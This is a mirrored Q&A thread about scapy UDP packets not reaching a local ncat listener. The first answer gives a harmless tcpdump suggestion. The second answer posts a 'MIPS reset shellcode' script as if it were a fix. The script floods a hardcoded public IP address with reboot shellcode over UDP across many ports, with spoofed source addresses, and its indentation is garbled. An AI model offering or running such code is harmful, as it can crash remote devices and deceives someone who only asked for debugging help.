簡體   English   中英

UDP數據包無法正常工作嗎?

[英]UDP packets not working for scapy?

我做了一個簡單的程序,試圖將UDP數據包發送到我的ncat服務器

這是代碼:

from scapy.all import *

sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1")

但是我的ncat服務器什么也沒收到,有人可以告訴我我做錯了什么嗎?

在開發與網絡相關的項目時,我建議您安裝捕獲軟件,例如tcpdump或wirehark。 它幫助您查看網絡中的內容。
要使用tcpdump將所有數據包發送到127.0.0.1,可以使用以下命令:

 tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"

嘗試這個

from scapy.all import * 
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
  for port in range(0,1000):
    i=IP()
    i.dst="213.48.152.128"              #Change this
    i.src="10.0"+"."+str(ip)+"."+str(ip)
    udp=UDP()
    udp.sport=int(str(port))
    udp.dport=int(str(port))
    sendp(i/udp/a)

看看它怎么運作 ?

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM